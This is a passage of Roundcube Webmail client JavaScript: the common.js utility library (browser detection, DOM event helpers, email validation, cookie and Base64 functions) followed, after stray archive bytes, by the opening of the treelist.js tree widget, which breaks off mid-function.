 * JavaScript code in this file.
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The JavaScript code in this page is free software: you can
 * redistribute it and/or modify it under the terms of the GNU
 * General Public License (GNU GPL) as published by the Free Software
 * Foundation, either version 3 of the License, or (at your option)
 * any later version.  The code is distributed WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS
 * FOR A PARTICULAR PURPOSE.  See the GNU GPL for more details.
 *
 * As additional permission under GNU GPL version 3 section 7, you
 * may distribute non-source (e.g., minimized or compacted) forms of
 * that code without the copy of the GNU GPL normally required by
 * section 4, provided you include this license notice and a URL
 * through which recipients can access the Corresponding Source.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 */

// Constants
var CONTROL_KEY = 1;
var SHIFT_KEY = 2;
var CONTROL_SHIFT_KEY = 3;

/**
 * Default browser check class
 * @constructor
 */
function roundcube_browser()
{
  var n = navigator;

  this.agent = n.userAgent;
  this.agent_lc = n.userAgent.toLowerCase();
  this.name = n.appName;
  this.vendor = n.vendor ? n.vendor : '';
  this.vendver = n.vendorSub ? parseFloat(n.vendorSub) : 0;
  this.product = n.product ? n.product : '';
  this.platform = String(n.platform).toLowerCase();
  this.lang = n.language ? n.language.substring(0,2) :
              n.browserLanguage ? n.browserLanguage.substring(0,2) :
              n.systemLanguage ? n.systemLanguage.substring(0,2) : 'en';

  this.win = this.platform.indexOf('win') >= 0;
  this.mac = this.platform.indexOf('mac') >= 0;
  this.linux = this.platform.indexOf('linux') >= 0;
  this.unix = this.platform.indexOf('unix') >= 0;

  this.dom = document.getElementById ? true : false;
  this.dom2 = document.addEventListener && document.removeEventListener;

  this.edge = this.agent_lc.indexOf(' edge/') > 0 || this.agent_lc.indexOf(' edg/') > 0; // "edg" in Chromium based Edge
  this.webkit = !this.edge && this.agent_lc.indexOf('applewebkit') > 0;
  this.ie = (document.all && !window.opera) || (this.win && this.agent_lc.indexOf('trident/') > 0);

  if (window.opera) {
    this.opera = true; // Opera < 15
    this.vendver = opera.version();
  }
  else if (!this.ie && !this.edge) {
    this.chrome = this.agent_lc.indexOf('chrome') > 0;
    this.opera = this.webkit && this.agent.indexOf(' OPR/') > 0; // Opera >= 15
    this.safari = !this.chrome && !this.opera && (this.webkit || this.agent_lc.indexOf('safari') > 0);
    this.konq = this.agent_lc.indexOf('konqueror') > 0;
    this.mz = this.dom && !this.chrome && !this.safari && !this.konq && !this.opera && this.agent.indexOf('Mozilla') >= 0;
    this.iphone = this.safari && (this.agent_lc.indexOf('iphone') > 0 || this.agent_lc.indexOf('ipod') > 0 || this.platform == 'ipod' || this.platform == 'iphone');
    this.ipad = this.safari && (this.agent_lc.indexOf('ipad') > 0 || this.platform == 'ipad');
  }

  if (!this.vendver) {
    if (this.ie)
      pattern = /(msie|rv)(\s|:)([0-9\.]+)/;
    else if (this.edge)
      pattern = /(edge?)(\/)([0-9\.]+)/;
    else if (this.opera)
      pattern = /(opera|opr)(\/)([0-9\.]+)/;
    else if (this.konq)
      pattern = /(konqueror)(\/)([0-9\.]+)/;
    else if (this.safari)
      pattern = /(version)(\/)([0-9\.]+)/;
    else if (this.chrome)
      pattern = /(chrome)(\/)([0-9\.]+)/;
    else if (this.mz)
      pattern = /(firefox)(\/)([0-9\.]+)/;
    else
      pattern = /(khtml|safari|applewebkit|rv)(\s|\/|:)([0-9\.]+)/;

    // common version strings
    this.vendver = pattern.test(this.agent_lc) ? parseFloat(RegExp.$3) : 0;
  }

  // get real language out of safari's user agent
  if (this.safari && (/;\s+([a-z]{2})-[a-z]{2}\)/.test(this.agent_lc)))
    this.lang = RegExp.$1;

  this.mobile = /iphone|ipod|blackberry|iemobile|opera mini|opera mobi|mobile/i.test(this.agent_lc);
  this.tablet = !this.mobile && /ipad|android|xoom|sch-i800|playbook|tablet|kindle/i.test(this.agent_lc);
  this.touch = this.mobile || this.tablet;
  this.pointer = typeof window.PointerEvent == "function";
  this.cookies = n.cookieEnabled;

  // set class names to html tag according to the current user agent detection
  // this allows browser-specific css selectors like "html.chrome .someclass"
  this.set_html_class = function()
  {
    var classname = ' js';

    if (this.ie)
      classname += ' ms ie ie'+parseInt(this.vendver);
    else if (this.edge && this.vendver > 74)
      classname += ' chrome';
    else if (this.edge)
      classname += ' ms edge';
    else if (this.opera)
      classname += ' opera';
    else if (this.konq)
      classname += ' konqueror';
    else if (this.safari)
      classname += ' chrome';
    else if (this.chrome)
      classname += ' chrome';
    else if (this.mz)
      classname += ' mozilla';

    if (this.iphone)
      classname += ' iphone';
    else if (this.ipad)
      classname += ' ipad';
    else if (this.webkit)
      classname += ' webkit';

    if (this.mobile)
      classname += ' mobile';
    if (this.tablet)
      classname += ' tablet';

    if (document.documentElement)
      document.documentElement.className += classname;
  };
};


// static functions for DOM event handling
var rcube_event = {

/**
 * returns the event target element
 */
get_target: function(e)
{
  e = e || window.event;
  return e && e.target ? e.target : e.srcElement || document;
},

/**
 * returns the event key code
 */
get_keycode: function(e)
{
  e = e || window.event;
  return e && e.keyCode ? e.keyCode : (e && e.which ? e.which : 0);
},

/**
 * returns the event key code
 */
get_button: function(e)
{
  e = e || window.event;
  return e && e.button !== undefined ? e.button : (e && e.which ? e.which : 0);
},

/**
 * returns modifier key (constants defined at top of file)
 */
get_modifier: function(e)
{
  var opcode = 0;
  e = e || window.event;

  if (bw.mac && e)
    opcode += (e.metaKey && CONTROL_KEY) + (e.shiftKey && SHIFT_KEY);
  else if (e)
    opcode += (e.ctrlKey && CONTROL_KEY) + (e.shiftKey && SHIFT_KEY);

  return opcode;
},

/**
 * Return absolute mouse position of an event
 */
get_mouse_pos: function(e)
{
  if (!e) e = window.event;
  var mX = (e.pageX) ? e.pageX : e.clientX,
    mY = (e.pageY) ? e.pageY : e.clientY;

  if (document.body && document.all) {
    mX += document.body.scrollLeft;
    mY += document.body.scrollTop;
  }

  if (e._offset) {
    mX += e._offset.left;
    mY += e._offset.top;
  }

  return { x:mX, y:mY };
},

/**
 * Add an object method as event listener to a certain element
 */
add_listener: function(p)
{
  if (!p.object || !p.method)  // not enough arguments
    return;
  if (!p.element)
    p.element = document;

  if (!p.object._rc_events)
    p.object._rc_events = {};

  var key = p.event + '*' + p.method;
  if (!p.object._rc_events[key])
    p.object._rc_events[key] = function(e){ return p.object[p.method](e); };

  if (p.element.addEventListener)
    p.element.addEventListener(p.event, p.object._rc_events[key], false);
  else if (p.element.attachEvent) {
    // IE allows multiple events with the same function to be applied to the same object
    // forcibly detach the event, then attach
    p.element.detachEvent('on'+p.event, p.object._rc_events[key]);
    p.element.attachEvent('on'+p.event, p.object._rc_events[key]);
  }
  else
    p.element['on'+p.event] = p.object._rc_events[key];
},

/**
 * Remove event listener
 */
remove_listener: function(p)
{
  if (!p.element)
    p.element = document;

  var key = p.event + '*' + p.method;
  if (p.object && p.object._rc_events && p.object._rc_events[key]) {
    if (p.element.removeEventListener)
      p.element.removeEventListener(p.event, p.object._rc_events[key], false);
    else if (p.element.detachEvent)
      p.element.detachEvent('on'+p.event, p.object._rc_events[key]);
    else
      p.element['on'+p.event] = null;
  }
},

/**
 * Prevent event propagation and bubbling
 */
cancel: function(evt)
{
  var e = evt ? evt : window.event;

  if (e.preventDefault)
    e.preventDefault();
  else
    e.returnValue = false;

  if (e.stopPropagation)
    e.stopPropagation();

  e.cancelBubble = true;

  return false;
},

/**
 * Determine whether the given event was triggered from keyboard
 */
is_keyboard: function(e)
{
  if (!e)
    return false;

  // DOM3-compatible
  // An event invoked by pressing Enter on a link will produce a 'click' event,
  // so we have to extend the check, e.g. with use of e.clientX.
  if (e.type)
    return !!e.type.match(/^key/) || (e.type == 'click' && !e.clientX);

  // Old browsers
  return !e.pageX && (e.pageY || 0) <= 0 && !e.clientX && (e.clientY || 0) <= 0;
},

/**
 * Accept event if triggered from keyboard action (e.g. <Enter>)
 */
keyboard_only: function(e)
{
  return rcube_event.is_keyboard(e) ? true : rcube_event.cancel(e);
},

touchevent: function(e)
{
  return { pageX:e.pageX, pageY:e.pageY, offsetX:e.pageX - e.target.offsetLeft, offsetY:e.pageY - e.target.offsetTop, target:e.target, istouch:true };
}

};


/**
 * rcmail objects event interface
 */
function rcube_event_engine()
{
  this._events = {};
};

rcube_event_engine.prototype = {

/**
 * Setter for object event handlers
 *
 * @param {String}   Event name
 * @param {Function} Handler function
 */
addEventListener: function(evt, func, obj)
{
  if (!this._events)
    this._events = {};
  if (!this._events[evt])
    this._events[evt] = [];

  this._events[evt].push({func:func, obj:obj ? obj : window});

  return this; // chainable
},

/**
 * Removes a specific event listener
 *
 * @param {String} Event name
 * @param {Int}    Listener ID to remove
 */
removeEventListener: function(evt, func, obj)
{
  if (obj === undefined)
    obj = window;

  for (var h,i=0; this._events && this._events[evt] && i < this._events[evt].length; i++)
    if ((h = this._events[evt][i]) && h.func == func && h.obj == obj)
      this._events[evt][i] = null;
},

/**
 * This will execute all registered event handlers
 *
 * @param {String} Event to trigger
 * @param {Object} Event object/arguments
 */
triggerEvent: function(evt, e)
{
  var ret, h,
    reset_fn = function(o) {
      try { if (o && o.event) delete o.event; } catch(err) { };
    };

  if (e === undefined)
    e = this;
  else if (typeof e === 'object')
    e.event = evt;

  if (!this._event_exec)
    this._event_exec = {};

  if (this._events && this._events[evt] && !this._event_exec[evt]) {
    this._event_exec[evt] = true;
    for (var i=0; i < this._events[evt].length; i++) {
      if ((h = this._events[evt][i])) {
        if (typeof h.func === 'function')
          ret = h.func.call ? h.func.call(h.obj, e) : h.func(e);
        else if (typeof h.obj[h.func] === 'function')
          ret = h.obj[h.func](e);

        // cancel event execution
        if (ret !== undefined && !ret)
          break;
      }
    }
    reset_fn(ret);
  }

  delete this._event_exec[evt];
  reset_fn(e);

  return ret;
}

};  // end rcube_event_engine.prototype


// check if input is a valid email address
// By Cal Henderson <cal@iamcal.com>
// http://code.iamcal.com/php/rfc822/
function rcube_check_email(input, inline, count, strict)
{
  if (!input)
    return count ? 0 : false;

  if (count) inline = true;

  var qtext = '[^\\x0d\\x22\\x5c\\x80-\\xff]',
      dtext = '[^\\x0d\\x5b-\\x5d\\x80-\\xff]',
      atom = '[^\\x00-\\x20\\x22\\x28\\x29\\x2c\\x2e\\x3a-\\x3c\\x3e\\x40\\x5b-\\x5d\\x7f-\\xff]+',
      quoted_pair = '\\x5c[\\x00-\\x7f]',
      quoted_string = '\\x22('+qtext+'|'+quoted_pair+')*\\x22',
      ipv4 = '\\[(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])(\\.(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])){3}\\]',
      ipv6 = '\\[IPv6:[0-9a-f:.]+\\]',
      ip_addr = '(' + ipv4 + ')|(' + ipv6 + ')',
      // Use simplified domain matching, because we need to allow Unicode characters here
      // So, e-mail address should be validated also on server side after idn_to_ascii()
      // Allow punycode/unicode top-level domains, allow extended domains (#5588)
      // Allow a domain ending with .s (#8854)
      domain = '(('+ip_addr+')|(([^@.]+\\.)+([^\\x00-\\x2f\\x3a-\\x40\\x5b-\\x60\\x7b-\\x7f]{2,}|s|xn--[a-z0-9]{2,})))',
      // ICANN e-mail test (http://idn.icann.org/E-mail_test)
      icann_domains = [
        '\\u0645\\u062b\\u0627\\u0644\\x2e\\u0625\\u062e\\u062a\\u0628\\u0627\\u0631',
        '\\u4f8b\\u5b50\\x2e\\u6d4b\\u8bd5',
        '\\u4f8b\\u5b50\\x2e\\u6e2c\\u8a66',
        '\\u03c0\\u03b1\\u03c1\\u03ac\\u03b4\\u03b5\\u03b9\\u03b3\\u03bc\\u03b1\\x2e\\u03b4\\u03bf\\u03ba\\u03b9\\u03bc\\u03ae',
        '\\u0909\\u0926\\u093e\\u0939\\u0930\\u0923\\x2e\\u092a\\u0930\\u0940\\u0915\\u094d\\u0937\\u093e',
        '\\u4f8b\\u3048\\x2e\\u30c6\\u30b9\\u30c8',
        '\\uc2e4\\ub840\\x2e\\ud14c\\uc2a4\\ud2b8',
        '\\u0645\\u062b\\u0627\\u0644\\x2e\\u0622\\u0632\\u0645\\u0627\\u06cc\\u0634\\u06cc',
        '\\u043f\\u0440\\u0438\\u043c\\u0435\\u0440\\x2e\\u0438\\u0441\\u043f\\u044b\\u0442\\u0430\\u043d\\u0438\\u0435',
        '\\u0b89\\u0ba4\\u0bbe\\u0bb0\\u0ba3\\u0bae\\u0bcd\\x2e\\u0baa\\u0bb0\\u0bbf\\u0b9f\\u0bcd\\u0b9a\\u0bc8',
        '\\u05d1\\u05f2\\u05b7\\u05e9\\u05e4\\u05bc\\u05d9\\u05dc\\x2e\\u05d8\\u05e2\\u05e1\\u05d8'
      ],
      icann_addr = 'mailtest\\x40('+icann_domains.join('|')+')',
      word = strict ? '('+atom+'|'+quoted_string+')' : '[^\\u0000-\\u0020\\u002e\\u00a0\\u0040\\u007f\\u2028\\u2029]+',
      delim = '[,;\\s\\n]',
      local_part = word+'(\\x2e'+word+')*',
      addr_spec = '(('+local_part+'\\x40'+domain+')|('+icann_addr+'))',
      rx_flag = count ? 'ig' : 'i',
      rx = inline ? new RegExp('(^|<|'+delim+')'+addr_spec+'($|>|'+delim+')', rx_flag) : new RegExp('^'+addr_spec+'$', 'i');

  if (count) {
    var re = input.match(rx);
    return re ? re.length : 0;
  }

  return rx.test(input);
};

// recursively copy an object
function rcube_clone_object(obj)
{
  var out = {};

  for (var key in obj) {
    if (obj[key] && typeof obj[key] === 'object')
      out[key] = rcube_clone_object(obj[key]);
    else
      out[key] = obj[key];
  }

  return out;
};

// make a string URL safe (and compatible with PHP's rawurlencode())
function urlencode(str)
{
  return encodeURIComponent(str)
    .replace('*', '%2A')
    .replace('(', '%28')
    .replace(')', '%29')
    .replace('!', '%21')
    .replace("'", '%27');
};


// get any type of html objects by id/name
function rcube_find_object(id, d)
{
  var n, f, obj, e;

  if (!d) d = document;

  if (d.getElementById)
    if (obj = d.getElementById(id))
      return obj;

  if (!obj && d.getElementsByName && (e = d.getElementsByName(id)))
    obj = e[0];

  if (!obj && d.all)
    obj = d.all[id];

  if (!obj && d.images.length)
    obj = d.images[id];

  if (!obj && d.forms.length) {
    for (f=0; f<d.forms.length; f++) {
      if (d.forms[f].name == id)
        obj = d.forms[f];
      else if(d.forms[f].elements[id])
        obj = d.forms[f].elements[id];
    }
  }

  if (!obj && d.layers) {
    if (d.layers[id])
      obj = d.layers[id];
    for (n=0; !obj && n<d.layers.length; n++)
      obj = rcube_find_object(id, d.layers[n].document);
  }

  return obj;
};

// determine whether the mouse is over the given object or not
function rcube_mouse_is_over(ev, obj)
{
  var mouse = rcube_event.get_mouse_pos(ev),
    pos = $(obj).offset();

  return (mouse.x >= pos.left) && (mouse.x < (pos.left + obj.offsetWidth)) &&
    (mouse.y >= pos.top) && (mouse.y < (pos.top + obj.offsetHeight));
};


// cookie functions by GoogieSpell
function setCookie(name, value, expires, path, domain, secure)
{
  var curCookie = name + "=" + escape(value) +
      (expires ? "; expires=" + expires.toGMTString() : "") +
      (path ? "; path=" + path : "") +
      (domain ? "; domain=" + domain : "") +
      (secure ? "; secure" : "") + '; SameSite=Lax';

  document.cookie = curCookie;
};

function getCookie(name)
{
  var dc = document.cookie,
    prefix = name + "=",
    begin = dc.indexOf("; " + prefix);

  if (begin == -1) {
    begin = dc.indexOf(prefix);
    if (begin != 0)
      return null;
  }
  else {
    begin += 2;
  }

  var end = dc.indexOf(";", begin);
  if (end == -1)
    end = dc.length;

  return unescape(dc.substring(begin + prefix.length, end));
};

// deprecated aliases, to be removed, use rcmail.set_cookie/rcmail.get_cookie
roundcube_browser.prototype.set_cookie = setCookie;
roundcube_browser.prototype.get_cookie = getCookie;

var bw = new roundcube_browser();
bw.set_html_class();


// Add escape() method to RegExp object
// http://dev.rubyonrails.org/changeset/7271
RegExp.escape = function(str)
{
  return String(str).replace(/([.*+?^=!:${}()|[\]\/\\])/g, '\\$1');
};

// Extend Date prototype to detect Standard timezone without DST
// from http://www.michaelapproved.com/articles/timezone-detect-and-ignore-daylight-saving-time-dst/
Date.prototype.getStdTimezoneOffset = function()
{
  var m = 12,
    d = new Date(null, m, 1),
    tzo = d.getTimezoneOffset();

    while (--m) {
      d.setUTCMonth(m);
      if (tzo != d.getTimezoneOffset()) {
        return Math.max(tzo, d.getTimezoneOffset());
    }
  }

  return tzo;
}

// define String's startsWith() method for old browsers
if (!String.prototype.startsWith) {
  String.prototype.startsWith = function(search, position) {
    position = position || 0;
    return this.slice(position, search.length) === search;
  };
}

if (!String.prototype.endsWith) {
  String.prototype.endsWith = function(searchString, position) {
    var subjectString = this.toString();
    if (typeof position !== 'number' || !isFinite(position) || Math.floor(position) !== position || position > subjectString.length) {
      position = subjectString.length;
    }
    position -= searchString.length;
    var lastIndex = subjectString.lastIndexOf(searchString, position);
    return lastIndex !== -1 && lastIndex === position;
  };
}

// array utility function
jQuery.last = function(arr) {
  return arr && arr.length ? arr[arr.length-1] : undefined;
}

// jQuery plugin to set HTML5 placeholder and title attributes on input elements
jQuery.fn.placeholder = function(text) {
  return this.each(function() {
    $(this).prop({title: text, placeholder: text});
  });
};

// function to parse query string into an object
var rcube_parse_query = function(query)
{
  if (!query)
    return {};

  var params = {}, e, k, v,
    re = /([^&=]+)=?([^&]*)/g,
    decodeRE = /\+/g, // Regex for replacing addition symbol with a space
    decode = function (str) { return decodeURIComponent(str.replace(decodeRE, ' ')); };

  query = query.replace(/\?/, '');

  while (e = re.exec(query)) {
    k = decode(e[1]);
    v = decode(e[2]);

    if (k.substring(k.length - 2) === '[]') {
      k = k.substring(0, k.length - 2);
      (params[k] || (params[k] = [])).push(v);
    }
    else
      params[k] = v;
  }

  return params;
};


// Base64 code from Tyler Akins -- http://rumkin.com
var Base64 = (function () {
  var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";

  // private method for UTF-8 encoding
  var utf8_encode = function(string) {
    string = string.replace(/\r\n/g, "\n");
    var utftext = '';

    for (var n = 0; n < string.length; n++) {
      var c = string.charCodeAt(n);

      if (c < 128) {
        utftext += String.fromCharCode(c);
      }
      else if(c > 127 && c < 2048) {
        utftext += String.fromCharCode((c >> 6) | 192);
        utftext += String.fromCharCode((c & 63) | 128);
      }
      else {
        utftext += String.fromCharCode((c >> 12) | 224);
        utftext += String.fromCharCode(((c >> 6) & 63) | 128);
        utftext += String.fromCharCode((c & 63) | 128);
      }
    }

    return utftext;
  };

  // private method for UTF-8 decoding
  var utf8_decode = function (utftext) {
    var i = 0, string = '', c = 0, c2 = 0, c3 = 0;

    while (i < utftext.length) {
      c = utftext.charCodeAt(i);
      if (c < 128) {
        string += String.fromCharCode(c);
        i++;
      }
      else if (c > 191 && c < 224) {
        c2 = utftext.charCodeAt(i + 1);
        string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
        i += 2;
      }
      else {
        c2 = utftext.charCodeAt(i + 1);
        c3 = utftext.charCodeAt(i + 2);
        string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
        i += 3;
      }
    }

    return string;
  };

  var obj = {
    /**
     * Encodes a string in base64
     * @param {String} input The string to encode in base64.
     */
    encode: function (input) {
      // encode UTF8 as btoa() may fail on some characters
      input = utf8_encode(input);

      if (typeof(window.btoa) === 'function') {
        try {
          return btoa(input);
        }
        catch (e) {};
      }

      var chr1, chr2, chr3, enc1, enc2, enc3, enc4, i = 0, output = '', len = input.length;

      while (i < len) {
        chr1 = input.charCodeAt(i++);
        chr2 = input.charCodeAt(i++);
        chr3 = input.charCodeAt(i++);

        enc1 = chr1 >> 2;
        enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
        enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
        enc4 = chr3 & 63;

        if (isNaN(chr2))
          enc3 = enc4 = 64;
        else if (isNaN(chr3))
          enc4 = 64;

        output = output
          + keyStr.charAt(enc1) + keyStr.charAt(enc2)
          + keyStr.charAt(enc3) + keyStr.charAt(enc4);
      }

      return output;
    },

    /**
     * Decodes a base64 string.
     * @param {String} input The string to decode.
     */
    decode: function (input) {
      if (typeof(window.atob) === 'function') {
        try {
          return utf8_decode(atob(input));
        }
        catch (e) {};
      }

      var chr1, chr2, chr3, enc1, enc2, enc3, enc4, len, i = 0, output = '';

      // remove all characters that are not A-Z, a-z, 0-9, +, /, or =
      input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
      len = input.length;

      while (i < len) {
        enc1 = keyStr.indexOf(input.charAt(i++));
        enc2 = keyStr.indexOf(input.charAt(i++));
        enc3 = keyStr.indexOf(input.charAt(i++));
        enc4 = keyStr.indexOf(input.charAt(i++));

        chr1 = (enc1 << 2) | (enc2 >> 4);
        chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
        chr3 = ((enc3 & 3) << 6) | enc4;

        output = output + String.fromCharCode(chr1);

        if (enc3 != 64)
          output = output + String.fromCharCode(chr2);
        if (enc4 != 64)
          output = output + String.fromCharCode(chr3);
      }

      return utf8_decode(output);
    }
  };

  return obj;
})();
PK
h�\N����program/js/treelist.jsnu�[���/**
 * Roundcube Treelist Widget
 *
 * This file is part of the Roundcube Webmail client
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The JavaScript code in this page is free software: you can
 * redistribute it and/or modify it under the terms of the GNU
 * General Public License (GNU GPL) as published by the Free Software
 * Foundation, either version 3 of the License, or (at your option)
 * any later version.  The code is distributed WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS
 * FOR A PARTICULAR PURPOSE.  See the GNU GPL for more details.
 *
 * As additional permission under GNU GPL version 3 section 7, you
 * may distribute non-source (e.g., minimized or compacted) forms of
 * that code without the copy of the GNU GPL normally required by
 * section 4, provided you include this license notice and a URL
 * through which recipients can access the Corresponding Source.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 *
 * @author Thomas Bruederli <roundcube@gmail.com>
 * @requires jquery.js, common.js
 */


/**
 * Roundcube Treelist widget class
 * @constructor
 */
function rcube_treelist_widget(node, p)
{
  // apply some defaults to p
  p = $.extend({
    id_prefix: '',
    autoexpand: 1000,
    selectable: false,
    scroll_delay: 500,
    scroll_step: 5,
    scroll_speed: 20,
    save_state: false,
    keyboard: true,
    tabexit: true,
    parent_focus: false,
    check_droptarget: function(node) { return !node.virtual; }
  }, p || {});

  var container = $(node),
    data = p.data || [],
    indexbyid = {},
    selection = null,
    drag_active = false,
    search_active = false,
    last_search = '',
    has_focus = false,
    box_coords = {},
    item_coords = [],
    autoexpand_timer,
    autoexpand_item,
    body_scroll_top = 0,
    list_scroll_top = 0,
    scroll_timer,
    searchfield,
    tree_state,
    ui_droppable,
    ui_draggable,
    draggable_opts,
    droppable_opts,
    list_id = (container.attr('id') || p.id_prefix || '0'),
    me = this;


  /////// export public members and methods

  this.container = container;
  this.expand = expand;
  this.collapse = collapse;
  this.expand_all = expand_all;
  this.collapse_all = collapse_all;
  this.select = select;
  this.render = render;
  this.reset = reset;
  this.drag_start = drag_start;
  this.drag_end = drag_end;
  this.intersects = intersects;
  this.droppable = droppable;
  this.draggable = draggable;
  this.is_draggable = is_draggable;
  this.update = update_node;
  this.insert = insert;
  this.remove = remove;
  this.get_item = get_item;
  this.get_node = get_node;
  this.get_selection = get_selection;
  this.in_selection = in_selection;
  this.get_next = get_next;
  this.get_prev = get_prev;
  this.get_single_selection = get_selection;
  this.is_search = is_search;
  this.reset_search = reset_search;

  /////// startup code (constructor)

  // abort if node not found
  if (!container.length)
    return;

  if (p.data)
    index_data({ children:data });
  // load data from DOM
  else
    update_data();

  // scroll to the selected item
  if (selection) {
    scroll_to_node(id2dom(selection, true));
  }

  container.attr('role', 'tree')
    .on('focusin', function(e) {
      // TODO: only accept focus on virtual nodes from keyboard events
      has_focus = true;
    })
    .on('focusout', function(e) {
      has_focus = false;
    })
    // register click handlers on list
    .on('click', 'div.treetoggle', function(e) {
      toggle(dom2id($(this).parent()));
      e.stopPropagation();
    })
    .on('click', 'li', function(e) {
      // do not select record on checkbox/input click
      if ($(e.target).is('input'))
        return true;

      var node = p.selectable ? indexbyid[dom2id($(this))] : null;
      if (node) {
        if (!node.virtual)
          select(node.id);
        e.stopPropagation();
      }
    })
    // mute clicks on virtual folder links (they need tabindex="0" in order to be selectable by keyboard)
    .on('mousedown', 'a', function(e) {
      var link = $(e.target), node = indexbyid[dom2id(link.closest('li'))];
      if (node && node.virtual && !link.attr('href')) {
        e.preventDefault();
        e.stopPropagation();
        return false;
      }
    });

  // activate search function
  if (p.searchbox) {
    searchfield = $(p.searchbox).off('keyup.treelist').on('keyup.treelist', function(e) {
      var key = rcube_event.get_keycode(e),
        mod = rcube_event.get_modifier(e);

      switch (key) {
        case 9:   // tab
          break;

        case 13:  // enter
          search(this.value, true);
          return rcube_event.cancel(e);

        case 27:  // escape
          reset_search();
          break;

        case 38:  // arrow up
        case 37:  // left
        case 39:  // right
        case 40:  // arrow down
          return;  // ignore arrow keys

        default:
          search(this.value, false);
          break;
      }
    }).attr('autocomplete', 'off');

    // find the reset button for this search field
    searchfield.parent().find('a.reset').off('click.treelist').on('click.treelist', function(e) {
      reset_search();
      return false;
    })
  }

  $(document.body).on('keydown', keypress);

  // catch focus when clicking the list container area
  if (p.parent_focus) {
    container.parent(':not(body)').click(function(e) {
      // click on a checkbox does not catch the focus
      if ($(e.target).is('input'))
        return true;

      if (!has_focus && selection) {
        $(get_item(selection)).find(':focusable').first().focus();
      }
      else if (!has_focus) {
        container.children('li').find(':focusable').first().focus();
      }
    });
  }

  /**
   * Collapse a the node with the given ID
   */
  function collapse(id, recursive, set)
  {
    var node;

    if (node = indexbyid[id]) {
      node.collapsed = typeof set == 'undefined' || set;
      update_dom(node);

      if (recursive && node.children) {
        for (var i=0; i < node.children.length; i++) {
          collapse(node.children[i].id, recursive, set);
        }
      }

      me.triggerEvent(node.collapsed ? 'collapse' : 'expand', node);
      save_state(id, node.collapsed);
    }
  }

  /**
   * Expand a the node with the given ID
   */
  function expand(id, recursive)
  {
    collapse(id, recursive, false);
  }

  /**
   * Toggle collapsed state of a list node
   */
  function toggle(id, recursive)
  {
    var node;
    if (node = indexbyid[id]) {
      collapse(id, recursive, !node.collapsed);
    }
  }

  /**
   * Collapse all expanded nodes
   */
  function collapse_all()
  {
    $.each(indexbyid, function(id, data) {
      if (data.children.length > 0 && !data.collapsed) {
        collapse(id);
      }
    });
  }

  /**
   * Expand all collapsed nodes
   */
  function expand_all()
  {
    $.each(indexbyid, function(id, data) {
      if (data.children.length > 0 && data.collapsed) {
        collapse(id, false, false);
      }
    });
  }

  /**
   * Select a tree node by it's ID
   */
  function select(id)
  {
    // allow subscribes to prevent selection change
    if (me.triggerEvent('beforeselect', indexbyid[id]) === false) {
      return;
    }

    if (selection) {
      id2dom(selection, true).removeClass('selected').removeAttr('aria-selected');
      if (search_active)
          id2dom(selection).removeClass('selected').removeAttr('aria-selected');
      selection = null;
    }

    if (!id)
      return;

    var li = id2dom(id, true);
    if (li.length) {
      li.addClass('selected').attr('aria-selected', 'true');
      selection = id;
      // TODO: expand all parent nodes if collapsed

      if (search_active)
        id2dom(id).addClass('selected').attr('aria-selected', 'true');

      scroll_to_node(li);
    }

    me.triggerEvent('select', indexbyid[id]);
  }

  /**
   * Getter for the currently selected node ID
   */
  function get_selection()
  {
    return selection;
  }

  /**
   * Check if given id is selected
   * This is for consistency with rcube_list_widget
   */
  function in_selection(id)
  {
    return selection == id;
  }

  /**
   * Return the DOM element of the list item with the given ID
   */
  function get_node(id)
  {
    return indexbyid[id];
  }

  /**
   * Return the DOM element of the list item with the given ID
   */
  function get_item(id, real)
  {
    return id2dom(id, real).get(0);
  }

  /**
   * Insert the given node
   */
  function insert(node, parent_id, sort)
  {
    var li, parent_li,
      parent_node = parent_id ? indexbyid[parent_id] : null
      search_ = search_active;

    // ignore, already exists
    if (indexbyid[node.id]) {
      return;
    }

    // apply saved state
    state = get_state(node.id, node.collapsed);
    if (state !== undefined) {
      node.collapsed = state;
    }

    // insert as child of an existing node
    if (parent_node) {
      node.level = parent_node.level + 1;

      if (!parent_node.children)
        parent_node.children = [];
      else {
        // Remove deleted nodes from the parent to make sure re-rendering below
        // happens when adding a new child to a parent with all nodes removed
        parent_node.children = parent_node.children.filter(function(node) { return !node.deleted; });
      }

      search_active = false;
      parent_node.children.push(node);
      parent_li = id2dom(parent_id);

      // re-render the entire subtree
      if (parent_node.children.length == 1) {
        render_node(parent_node, null, parent_li);
        li = id2dom(node.id);
      }
      else {
        // append new node to parent's child list
        li = render_node(node, parent_li.children('ul').first());
      }

      // list is in search mode
      if (search_) {
        search_active = search_;

        // add clone to current search results (top level)
        if (!li.is(':visible')) {
          $('<li>')
            .attr('id', li.attr('id') + '--xsR')
            .attr('class', li.attr('class'))
            .addClass('searchresult__')
            .append(li.children().first().clone(true, true))
            .appendTo(container);
        }
      }
    }
    // insert at top level
    else {
      node.level = 0;
      data.push(node);
      li = render_node(node, container);
    }

    indexbyid[node.id] = node;

    // set new reference to node.html after insert
    // will otherwise vanish in Firefox 3.6
    if (typeof node.html == 'object') {
        indexbyid[node.id].html = id2dom(node.id, true).children();
    }

    if (sort) {
      resort_node(li, typeof sort == 'string' ? '[class~="' + sort + '"]' : '');
    }
  }

  /**
   * Update properties of an existing node
   */
  function update_node(id, updates, sort)
  {
    var li, parent_ul, parent_node, old_parent,
      node = indexbyid[id];

    if (node) {
      li = id2dom(id);
      parent_ul = li.parent();

      if (updates.id || updates.html || updates.children || updates.classes || updates.parent) {
        if (updates.parent && (parent_node = indexbyid[updates.parent])) {
          // remove reference from old parent's child list
